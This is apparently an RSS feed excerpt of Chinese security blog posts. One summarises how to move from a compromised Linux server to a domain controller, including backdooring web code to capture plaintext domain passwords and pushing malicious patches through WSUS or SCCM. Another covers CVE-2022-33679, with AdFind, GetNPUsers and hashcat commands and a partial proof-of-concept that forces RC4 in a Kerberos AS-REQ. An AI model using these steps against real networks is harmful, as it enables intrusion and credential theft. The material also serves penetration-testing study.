class="code-snippet_outer">    Cold Hard Cache — Bypassing RPC Interface Security with Cache Abuse</span></p><p><span class="code-snippet_outer">  transport.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-TSTS</span>]tsts.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-WKST</span>]wkst.py</span></p><p><span class="code-snippet_outer">  MS-TSCH</span></p><p><span class="code-snippet_outer">    atsvc.py</span></p><p><span class="code-snippet_outer">    sasec.py</span></p><p><span class="code-snippet_outer">    tsch.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-BKRP</span>]bkrp.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-DHCPM</span>]dhcpm.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-DRSR</span>]drsuapi.py</span></p><p><span class="code-snippet_outer">  [<span class="code-snippet__meta">MS-DSSP</span>]dssp.py</span></p><p><span class="code-snippet_outer">  MS-DCOM</span></p><p><span class="code-snippet_outer">    DCOM编程</span></p><p><span class="code-snippet_outer">    dcomrt.py</span></p>    <p><span class="code-snippet_outer">    dcom</span></p><p><span class="code-snippet_outer">      [<span class="code-snippet__meta">MS-OAUT</span>]oaut.py</span></p><p><span class="code-snippet_outer">      [<span class="code-snippet__meta">MS-COMEV</span>]comev.py</span></p><p><span class="code-snippet_outer">      [<span class="code-snippet__meta">MS-SCMP</span>]scmp.py</span></p><p><span class="code-snippet_outer">      [<span class="code-snippet__meta">MS-VDS</span>]vds.py</span></p><p><span class="code-snippet_outer">      [<span class="code-snippet__meta">MS-WMI</span>]wmi.py</span></p><p><span class="code-snippet_outer">        WMI协议</span></p><p><span class="code-snippet_outer">        WMI委派</span></p><p><span class="code-snippet_outer">        模块代码分析</span></p><p><span class="code-snippet_outer">common</span></p><p><span class="code-snippet_outer">  icmp6.py</span></p><p><span class="code-snippet_outer">  IP6_Address.py</span></p><p><span class="code-snippet_outer">  ip6.py</span></p><p><span class="code-snippet_outer">  IP6_Extension_Headers.py</span></p><p><span class="code-snippet_outer">  version.py</span></p><p><span class="code-snippet_outer">  Dot11Crypto.py</span></p><p><span class="code-snippet_outer">  Dot11KeyManager.py</span></p><p><span class="code-snippet_outer">  ImpactDecoder.py</span></p><p><span class="code-snippet_outer">  ImpactPacket.py</span></p><p><span class="code-snippet_outer">  ndp.py</span></p><p><span class="code-snippet_outer">  cdp.py</span></p><p><span class="code-snippet_outer">  crypto.py</span></p><p><span class="code-snippet_outer">  dhcp.py</span></p><p><span class="code-snippet_outer">  dns.py</span></p><p><span class="code-snippet_outer">  dot11.py</span></p><p><span class="code-snippet_outer">  dpapi.py</span></p><p><span class="code-snippet_outer">  eap.py</span></p><p><span class="code-snippet_outer">  ese.py</span></p><p><span class="code-snippet_outer">  helper.py</span></p><p><span class="code-snippet_outer">  hresult_errors.py</span></p><p><span class="code-snippet_outer">  http.py</span></p><p><span class="code-snippet_outer">  mapi_constants.py</span></p><p><span class="code-snippet_outer">  mqtt.py</span></p><p><span class="code-snippet_outer">  nmb.py</span></p><p><span class="code-snippet_outer">  smb3.py</span></p><p><span class="code-snippet_outer">  smb3structs.py</span></p><p><span class="code-snippet_outer">  smbconnection.py</span></p><p><span class="code-snippet_outer">  smbserver.py</span></p><p><span class="code-snippet_outer">  system_errors.py</span></p><p><span class="code-snippet_outer">  tds.py</span></p><p><span class="code-snippet_outer">  uuid.py</span></p><p><span class="code-snippet_outer">  winregistry</span></p><p><span class="code-snippet_outer">  wps.py</span></p></pre></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483750">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b80a938a&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247483750%26idx%3D1%26sn%3D554c2c6771caefbb3c167bc5fdba9352">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 08 Dec 2022 22:40:00 +0800</pubDate>
    </item>
    <item>
      <title>通过linux服务器进入内网后如何快速达到域控的思路总结</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247483737&amp;idx=1&amp;sn=2bb917ee8cd4c9044068d60dcb991d57</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>侠盗鲁平</span> <span>2022-11-17 23:30</span> <span style="display: inline-block;">中国香港</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1bab5e2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCeXueNBTOibDUS56OPicGuibr4ErSogaxspx7SQmUOhFRIuAv63SDtZG0FgZYJYxicTSFYvAHISUqmMjA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p>面试老问题了，这波算是老活新整，内网菜鸡的思路总结，有啥错漏或者可以补充的地方欢迎大佬留言哈</p><ul class="list-paddingleft-1" cid="n3" mdtype="list" data-mark="+" style="margin-top: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n28" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">linux服务器的resolve.conf 中dns可能会设置为域控</span></p></li><li style="box-sizing: border-box;"><p cid="n136" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">查/etc/krb5.conf  </span></p></li><ul class="list-paddingleft-1" cid="n143" mdtype="list" data-mark="+" style="padding-left: 30px;list-style-type: square;"><li style="box-sizing: border-box;"><p cid="n140" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">Azure 中的vm可以通过配置kerberos将vm加入托管域，使Azure AD域账户通过ssh登录linux服务器</span></p></li></ul><li style="box-sizing: border-box;"><p cid="n34" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">查smb.conf / 查mnt cifs挂载</span></p></li><ul class="list-paddingleft-1" cid="n44" mdtype="list" data-mark="+" style="padding-left: 30px;list-style-type: square;"><li style="box-sizing: border-box;"><p cid="n41" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">linux 主机连接windows 445 smb共享文件夹有两种方式，一种是通过samba-client客户端，一种是通过mount cifs去挂载共享文件夹的cifs文件系统，可以查看samba-client 的配置文件，或者查看.bash_history查看连接历史，这里连接的大概率不是域控主机，但可能是域内的nas或域内的服务器，小概率会是开发的测试机，不管怎么样，都离我们的目标更近了一步，而且nas里面有敏感信息正常吗，很tm正常啊</span></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="200" data-backw="200" data-ratio="1" data-s="300,640" style="width: 100%;height: auto;" data-type="jpeg" data-w="200" src="https://wechat2rss.xlab.app/img-proxy/?k=156c76c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCcyicXPuh8bic1UibCRGlTaRhRdweI9eaGFaL7FJH9N4YrnDc2P8CKQvp0BImISKo1Xe3of6mNk1neLQ%2F640%3Fwx_fmt%3Djpeg"/></p><li style="box-sizing: border-box;"><p cid="n49" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">找ad登录验证的web服务器</span></p></li><ul class="list-paddingleft-1" cid="n60" mdtype="list" data-mark="+" style="padding-left: 30px;list-style-type: square;"><li style="box-sizing: border-box;"><p cid="n57" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">在大型组织的内网，很可能存在通过域进行身份验证的服务器，包括但不限于通过ad账号验证的erp、crm系统、邮箱系统或域账号管控系统，通过web端口扫描找到对应的服务器并尝试对web系统、数据库弱口令等各种姿势去getshell，在进入内网后的众多web系统中可以提高对他的渗透优先级</span></p></li><li style="box-sizing: border-box;"><p cid="n69" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">拿到后可以在web源码或配置文件中找到ad服务器的ip端口等信息，如果数据库保存了账号密码明文很好，但大概率是加密后的账号密码，可以改源码加个后门把域账号密码明文保存下来</span></p></li></ul><li style="box-sizing: border-box;"><p cid="n61" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">找ad账号验证的vdi管控或登录系统（Crtrix ADC、Vcenter、国内某些厂商的VDI管控平台等等）</span></p></li><ul class="list-paddingleft-1" cid="n75" mdtype="list" data-mark="+" style="padding-left: 30px;list-style-type: square;"><li style="box-sizing: border-box;"><p cid="n72" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">这里插个小私货，对于交换机shell这种freebsd之类的鸡肋shell，有个流量转发的工具叫3proxy，能点屎成金（手动狗头）</span></p></li><li style="box-sizing: border-box;"><p cid="n65" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">这里的vdi系统其实也是套web系统，但因为这些网络设备如果是登录系统拿到shell权限后大概率会跨网段进入域控和vdi主机所在的网段，如果是管控系统的话，如果都是vdi主机组的域，那基本就结束了，所以单独拿出来说一下。拿到对应的服务器权限后一般都会有一个本地与域控服务器通信的域控账号将设备注册到域控中，密码不出意外都是加密的，这里吹一波msf，在cs烂大街的情况下，还是有一堆痴心不改的老外愿意把这些关键设备的配置文件解密脚本更新到msf的插件中</span></p></li></ul><li style="box-sizing: border-box;"><p cid="n126" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">找WSUS服务器/EDR终端管控服务器/SCCM服务器</span></p></li><ul class="list-paddingleft-1" style="list-style-type: square;"><li style="box-sizing: border-box;"><p cid="n126" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">WSUS就是windows推送更新补丁包的服务器，拿到之后可以给域控分发补丁（exe或恶意命令）然后打域控，当然不是扫135看到WSUS就一定有域，这玩意也能放到工作组里用</span></p></li><li style="box-sizing: border-box;"><p cid="n126" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">SCCM<span style="box-sizing: border-box;color: rgb(34, 28, 53);font-family: Roboto;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);vertical-align: inherit;">是 Microsoft 的一种解决方案，可在整个组织中以可扩展的方式增强管理。</span><span style="box-sizing: border-box;color: rgb(34, 28, 53);font-family: Roboto;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);vertical-align: inherit;">SCCM 允许大量功能，包括将 PowerShell 脚本推送到其客户端、将命令推送到其客户端、在客户端上打开远程终端会话、在其客户端上安装软件、更改其客户端上的策略等等。</span></span></p></li></ul><li style="box-sizing: border-box;"><p cid="n76" mdtype="paragraph" style="margin-bottom: 0.5rem;box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">netstat -ano/cat /var/log/secure</span></p></li><ul class="list-paddingleft-1" cid="n84" mdtype="list" data-mark="+" style="padding-left: 30px;list-style-type: square;"><li style="box-sizing: border-box;"><p cid="n81" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">emm...如果拿到内网web系统，查下端口访问，可能能看到办公机访问的ip或办公网网关ip，对所在网段389或636、135、445端口扫描可能会有收获</span></p></li><li style="box-sizing: border-box;"><p cid="n115" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">查看ssh连接历史的ip也是一个意思，快速定位可达windows主机的IP段，尽量少在内网大的网段扫描探测</span></p></li></ul><li style="box-sizing: border-box;"><p cid="n85" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">135端口扫描</span></p></li><ul class="list-paddingleft-1" cid="n93" mdtype="list" data-mark="+" style="padding-left: 30px;list-style-type: square;"><li style="box-sizing: border-box;"><p cid="n89" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">双网卡主机yyds啦</span></p></li></ul><li style="box-sizing: border-box;"><p cid="n94" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">openvpn配置文件</span></p></li><ul class="list-paddingleft-1" cid="n101" mdtype="list" data-mark="+" style="padding-left: 30px;list-style-type: square;"><li style="box-sizing: border-box;"><p cid="n98" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">适用的环境比较奇怪，现在的云主机比较多嘛，有时候源码在内网的gitlab上，或者有些其他需要与内网资源交互的奇特场景，会给服务器上配个vpn，拿到账号密码ip端口就去连内网去搞内网渗透去了，像vpn账号嘛、邮箱账号嘛、sso账号嘛和域控账号密码一毛一样很正常嘛，如果能在主机上能翻到ADFS sso账号简直中奖好嘛，这一块主要看操作的人在主机上留了什么东西了</span></p></li></ul><li style="box-sizing: border-box;"><p cid="n106" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">gitlab信息收集</span></p></li><ul class="list-paddingleft-1" cid="n113" mdtype="list" data-mark="+" style="padding-left: 30px;list-style-type: square;"><li style="box-sizing: border-box;"><p cid="n110" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">就像前面说的内网存在一些需要ad验证的web系统，如果拿到gitlab之类的源码平台搜索关键字ldap在源码中、注释中可能会找到测试的ad账号和服务器地址，如果最新的版本中找不到，记得在老的commit中翻一下，git系统的位置可以在拿到权限的服务器源码的.git的config之类的配置文件中找</span></p></li></ul></ul><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=156c76c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCcyicXPuh8bic1UibCRGlTaRhRdweI9eaGFaL7FJH9N4YrnDc2P8CKQvp0BImISKo1Xe3of6mNk1neLQ%2F640%3Fwx_fmt%3Djpeg"/></p>



<p><a href="2247483737">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f7ca4268&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247483737%26idx%3D1%26sn%3D2bb917ee8cd4c9044068d60dcb991d57">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 17 Nov 2022 23:30:00 +0800</pubDate>
    </item>
    <item>
      <title>CVE-2022-33679</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247483731&amp;idx=1&amp;sn=cbc964a6d21726d9b4fe3680396b6f6b</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>侠盗鲁平</span> <span>2022-11-09 23:26</span> <span style="display: inline-block;">中国香港</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3de18a08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCdGRDuOblS8gbtrWwibudqPPmGlTicic7V10wem9so5zkwIO6F0Fnp1M7Ujb4deAncXWMe2L5Vyib4Tew%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="MzUyOTI5MTM4OQ==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/kEgicicM5SiaCcaOgF46YajiaPh9VhxNdibGia0Sp5GZBlNEjCfU5vHj2vpnojsJMQteZ2GmKfSUmd8Y56RPObaCDykA/0?wx_fmt=png" data-nickname="Security丨Art" data-alias="" data-signature="网络安全的闲篇扯淡与第Ｎ艺术的外行吐槽" data-from="0"></mp-common-profile></p><p cid="n2" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">最近</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">Bdenneu</span></span><span md-inline="plain" style="box-sizing: border-box;">发推说在github放出了CVE-2022-33679的poc，正好最近被域提权折磨，就去看了一下</span></p><p cid="n3" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">漏洞的本质是存在开启了</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">不需要预认证的用户</strong></span><span md-inline="plain" style="box-sizing: border-box;">（创建用户时默认关闭，需要手动开启），所以可以构造要求加密降级的AS-REQ请求在未开启kerberos预认证的情况下，一个AS-REQ可以用来请求一个AS-REP，而AS-REP中包含一个加密过的TGT，默认情况下是aes，所以这玩意之前是用彩虹表+hashcat爆破的</span></p><p cid="n4" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">那么首先，我们要去找一个设置了不需要预认证的用户</span></p><pre spellcheck="false" lang="shell" cid="n5" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">AdFind.exe <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-h</span> dc-ip <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-u</span> username <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-up</span> </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">userpass <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-b</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;DC=test,DC=local&#34;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-f</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;(&amp;(&amp;(UserAccountControl:1.2.840.113556.1.4.803:=4194304)(!</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">(UserAccountControl:1.2.840.113556.1.4.803:<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span>)))(!<span style="box-sizing: border-box;color: rgb(0, 0, 255);">(objectCategory</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span>computer)))<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;</span></span></pre><p cid="n6" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">找到之后直接用impacket请求tgt的hash</span></p><pre spellcheck="false" lang="shell" cid="n7" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">python GetNPUsers.py windows.local/windows <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-dc-ip</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">172</span>.16.178.9 <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-format</span> hashcat</span></pre><p cid="n8" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">hashcat 爆破</span></p><pre spellcheck="false" lang="shell" cid="n9" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">hashcat <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-m</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">18200</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">--force</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-a</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span> hash password.txt</span></pre><p cid="n10" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">而在最新的poc中，AS-REQ将加密协议降级为了rc4</span></p><pre spellcheck="false" lang="python" cid="n11" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">def</span> <span style="box-sizing: border-box;color: rgb(0, 0, 255);">prepareAsReq</span>(<span style="box-sizing: border-box;color: rgb(0, 85, 170);">self</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">requestPAC</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">True</span>):</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">rsadsi_rc4_md4</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">128</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 85, 170);">self</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">__asReq</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">AS_REQ</span>()</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(152, 26, 26);">...</span>..</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(152, 26, 26);">...</span>..</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">         <span style="box-sizing: border-box;color: rgb(0, 0, 0);">self</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">__reqBody</span>[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;realm&#39;</span>] <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">domain</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 85, 170);">self</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">__reqBody</span>[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;till&#39;</span>] <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">KerberosTime</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">to_asn1</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">now</span>)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 85, 170);">self</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">__reqBody</span>[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;rtime&#39;</span>] <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">KerberosTime</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">to_asn1</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">now</span>)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 85, 170);">self</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">__reqBody</span>[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;nonce&#39;</span>] <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span>  <span style="box-sizing: border-box;color: rgb(0, 0, 0);">rand</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">getrandbits</span>(<span style="box-sizing: border-box;color: rgb(17, 102, 68);">31</span>)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">supportedCiphers</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">rsadsi_rc4_md4</span>,)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">seq_set_iter</span>(<span style="box-sizing: border-box;color: rgb(0, 85, 170);">self</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">__reqBody</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;etype&#39;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">supportedCiphers</span>)</span></pre><ol class="list-paddingleft-1" start="" cid="n12" mdtype="list" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, 